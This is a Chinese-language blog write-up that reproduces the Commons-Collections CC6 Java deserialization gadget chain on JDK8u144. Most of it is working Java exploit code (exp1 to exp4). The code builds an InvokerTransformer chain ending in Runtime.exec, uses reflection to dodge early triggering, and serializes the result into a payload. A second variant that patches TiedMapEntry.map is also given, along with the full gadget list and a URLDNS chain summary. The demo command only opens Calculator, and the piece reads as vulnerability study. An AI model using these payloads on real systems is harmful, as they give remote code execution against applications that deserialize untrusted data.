Java反序列化Commons-Collections——CC6
0x01 前言
首先CC6与CC1不同的点在于,CC1局限于JDK8u65版本,而CC6则不再局限于JDK版本,所以这里环境有所不同
然后我电脑上装了JDK8u65,JDK8u144,JDK8u202,这里就用JDK8u144来进行复现。
因为不涉及CC6中不涉及到JDK源码,所以这里也不需要像CC1一样还要配置OpenJDK源码。
环境配置:
JDK8u144
Commons-Collections 3.2.1
0x02 链尾分析
首先CC6链与CC1-LazyMap链的后半段链是相同的,同样都是利用了LazyMap#get
方法,这里先直接把这后半段链的exp贴上:
1 2 3 4 5 6 7 8 9 10 11 12 13 public static void exp1 () throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{ "getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap <>(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer); decoratedMap.get("test" ); }
然后继续通过findUsages寻找看谁调用了LazyMap#get
方法,最终在一片结果中最终找到了一个TiedMapEntry#getValue
,真是不得不佩服研究出这条链的大佬,tql!
这里先用TiedMapEntry#getValue
写一下exp,验证一下可行性:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void exp2 () throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{ "getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap <>(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry map = new TiedMapEntry (decoratedMap, "key" ); map.getValue(); }
这里成功弹出计算器,证明这条链确实可行,然后就需要找看谁调用了TiedMapEntry#getValue
,这里参考一位大佬的技巧
getValue()
这类常见的方法一般优先寻找同一类下是否存在调用情况。
所以这里就直接在TiedMapEntry
类中直接搜索,发现hashCode
方法调用了getValue
找到这个TiedMapEntry#hashCode
,同样编写一下exp验证一下可用性:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void exp2 () throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{ "getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap <>(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry map = new TiedMapEntry (decoratedMap, "key" ); map.hashCode(); }
同样也是可以弹出计算器。
0x03 URLDNS链
在继续分析链子之前,这里先插入一下URLDNS链。其实URLDNS链才是反序列化初学者的第一条链,但严格意义上来说这条链不能被称为利用链,因为其仅仅能进行一次DNS请求,而不能执行命令,但因为其使用Java内置的类构造,对第三方库没有依赖,所以非常适合在检测反序列化漏洞时使用。
这里直接贴上Getgat chain
1 2 3 4 HashMap#readObject HashMap#putVal HashMap#hash URL#hashCode
0x04 完整链分析
上上节调用链构造到TiedMapEntry#hashCode
,然后根据URLDNS的启发,这里是不是就可以通过HashMap
来作为入口(在Java反序列化中,在向上寻找链子的时候找到hashCode
时,都可以尝试通过HashMap
来作为入口类)。这里直接尝试写exp来试下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static void exp3 () throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] {"open -a Calculator" })}; ChainedTransformer chain = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry, "value" ); }
这里可以看到,在没有反序列化时,仅进行了put操作,就已经弹出了计算器,通过分析HashMap
可以发现,在进行put操作时,会调用hash(key)
计算key
的哈希值,从而触发TiedMapEntry#hashCode
以及后续链,最终执行命令。
这里就要结合URLDNS的思路,在进行put操作前,将key修改为其他值,在put操作后,再利用反射将其修改为命令执行的参数,这里直接参考大佬的博客
修改这段代码Map lazyMap = LazyMap.decorate(hashMap, chain)
,修改后如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public static void exp3 () throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] {"open -a Calculator" })}; ChainedTransformer chain = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("1" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "key" ); HashMap<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry, "value" ); Class<?> clazz = lazyMap.getClass(); Field field = clazz.getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazyMap, chain); serialize(hashMap2); deserialize("ser.bin" ); }
执行exp,但并未按照设想的一样执行命令,这里参考大佬们的博客,中间还要删除一个"key"
即如上所示,在反射修改lazyMap.factory
前,将键值删除掉,至于为什么要删除呢,这里来断点调试,分析下原理:
在调试之前,这里有一个idea的小坑,在debug时,idea会自动。。
将这两个选项的勾选去掉即可
这里直接在deserialize("ser.bin")
下断点,逐步分析删不删除键值的区别:
最终经过逐步调试发现,区别定格在了Lazymap#get
方法上,这里直接看源码:
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
当!map.containsKey(key)
时, 才会进入到条件语句中,执行factory.transform(key)
,执行恶意命令,否则会直接将原有的值进行返回,触发不了构造的命令。
0x05 另类的触发方式
偶然间,在我第一遍复现时,用了自动代码补齐,导致我在put(tiedMapEntry, "value")
时,本来应该赋值给hashMap2
,结果给赋值给了hashmap
,导致我怎么改都执行不了命令,然后我就看,说到底,这里修改key
是为了在序列化时不执行命令,那么,这里是不是可以通过修改其他值,只要避免在序列化时执行命令就可以,刚好,这个tiedMapEntry
看着就很对眼神,是不是只要我在new时,使用一个普通的hashMap,然后通过反射修改回lazyMap
就可以了呢,正在我打算写exp时, 刚好发现诶,我这个赋值好像错了,修改为hashMap2
,果然,成功执行了命令,但是这思路已经来了,总得试试吧。说干就干,直接贴上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static void exp4 () throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new Object [] {"open -a Calculator" })}; ChainedTransformer chain = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decoratedMap = LazyMap.decorate(hashMap, chain); TiedMapEntry tiedMapEntry = new TiedMapEntry (new HashMap <>(), "key" ); HashMap<Object, Object> hashMap2 = new HashMap <>(); hashMap2.put(tiedMapEntry, "value" ); Class<?> clazz = tiedMapEntry.getClass(); Field field = clazz.getDeclaredField("map" ); field.setAccessible(true ); field.set(tiedMapEntry, decoratedMap); serialize(hashMap2); deserialize("ser.bin" ); }
同样也是可以成功执行命令。
0x06 总结
同样来写一下整个gadget
1 2 3 4 5 6 7 8 HashMap#readObject HashMap#put HashMap#hash TiedMapEntry#hashCode TiedMapEntry#getValue LazyMap#get ChainedTransformer#transform InvokerTransformer#transform